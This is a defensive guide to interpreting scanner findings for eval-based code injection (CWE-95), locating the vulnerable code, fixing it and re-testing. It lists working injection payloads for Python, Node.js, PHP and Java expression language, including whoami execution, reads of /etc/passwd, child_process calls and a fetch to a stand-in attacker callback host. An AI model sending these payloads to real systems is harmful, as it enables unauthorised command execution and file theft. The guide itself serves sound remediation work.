CWE-95: Code Injection (Eval)
Overview
This guidance helps interpret DAST findings for CWE-95: Code Injection (Eval). During dynamic scanning, the scanner detected that user input was executed as code in an interpreter context (Python, JavaScript, PHP, Ruby), allowing arbitrary code execution.
What the DAST scanner detected:
- Time-based detection: Delays from
sleep(),Thread.sleep(),time.sleep()in injected code - Out-of-band callbacks: DNS lookups or HTTP requests to attacker-controlled domains triggered by injected code
- Distinctive error messages from interpreters:
- Python:
SyntaxError,NameError: name 'os' is not defined - Node.js:
ReferenceError: fs is not defined - PHP:
Parse error: syntax error, unexpected 'sleep'
- Python:
- Observable side effects: File creation, system command output, or database queries from injected code
- Mathematical expression evaluation:
2+2returns4,10*10returns100
Key DAST evidence:
- Parameter
expr=__import__('time').sleep(10)causes 10-second response delay - Input
code=require('fs').readFileSync('/etc/passwd','utf8')returns file contents in response - Out-of-band HTTP request to
http://attacker.burpcollaborator.net/after submittingformula=fetch('http://attacker.burpcollaborator.net/') - Error:
NameError: name 'os' is not definedfor payload__import__('os').system('whoami') - Math evaluation:
calc=7*7returns49in response
Analyzing the Dynamic Scan Result
What the DAST Scanner Found
When reviewing your security scan results, you'll see:
HTTP Request Details
- URL and endpoint that triggered the finding
- HTTP method (GET, POST, etc.)
- Query parameters or form data with test payloads
- Request headers and body content
HTTP Response Evidence
- Response showing the vulnerability manifestation
- Evidence of improper handling or injection
- Runtime behavior indicators
Attack Vector
- Which parameter or input is vulnerable
- Type of exploitation possible
- Context where the vulnerability appears
Mapping DAST Findings to Source Code
Find the Vulnerable Endpoint
Use the HTTP request URL to locate the code:
# Search for the URL path in your codebase
grep -r "/calc" src/
grep -r "/eval" src/
grep -r "/formula" src/
grep -r "/expression" src/
grep -r "route.*calc" src/
Locate the Route Handler
Common patterns to search for:
- Python Flask/Django:
@app.route('/calc'),path('eval/', ...) - Node.js Express:
app.post('/eval', ...),router.post('/formula', ...) - Java Spring:
@PostMapping("/calc"),@RequestMapping("/expression") - ASP.NET:
[Route("eval")],[HttpPost("calc")] - PHP:
$_POST['expression'],eval()usage
Find the Parameter Handling
Search for the vulnerable parameter name:
# Find where the parameter is accessed
grep -r "request.form.get('expr')" src/ # Python Flask
grep -r "req.body.expression" src/ # Node.js
grep -r "@RequestParam.*formula" src/ # Java Spring
grep -r "Request.Form['code']" src/ # ASP.NET
grep -r "$_POST['expression']" src/ # PHP
Trace to Vulnerable Operation
Look for where the parameter is used in:
- Code evaluation functions:
eval(),exec(),Function(),compile(),ScriptEngine.eval() - Dynamic code execution: Creating functions/classes from strings
- Template engines: Unsafe template rendering with code execution
- Expression evaluators: Math expressions, formula parsers
- Scripting engine integration: Python in Java, JavaScript in Node
Remediation
Core principle: Never execute dynamically generated code derived from untrusted input; eliminate eval/exec-style evaluation and replace it with safe parsers or allowlisted interpreters.
→ For comprehensive remediation guidance, see Static CWE-95 Guidance
Language-Specific Guidance
The static guidance provides detailed remediation steps for many languages. If you need language-specific examples:
Verification and Follow-Up Testing
After applying the fix:
Reproduce the Vulnerability
# Use curl to test code injection
curl -X POST "http://localhost:3000/calc" \
-d "expression=__import__('os').system('whoami')"
curl -X POST "http://localhost:3000/eval" \
-d "code=process.mainModule.require('child_process').execSync('ls').toString()"
# Or use browser DevTools Network tab to copy as cURL
Verify the Fix
- Confirm eval/exec functions are completely removed
- Verify safe alternatives are used (ast.literal_eval, math.js, etc.)
- Check input is treated as data only, not code
- Ensure no dynamic code generation from user input
Test Edge Cases
# Python eval injection
/calc?expr=__import__('os').system('cat /etc/passwd')
# JavaScript eval injection
/eval?code=require('fs').readFileSync('/etc/passwd','utf8')
# PHP eval injection
/formula?expr=system('whoami');
# Expression language injection (Java)
/calc?formula=${T(java.lang.Runtime).getRuntime().exec('whoami')}
# Or use browser DevTools Network tab to copy as cURL
Re-run DAST Scanner
Run your dynamic scanner again on the fixed endpoint to confirm remediation.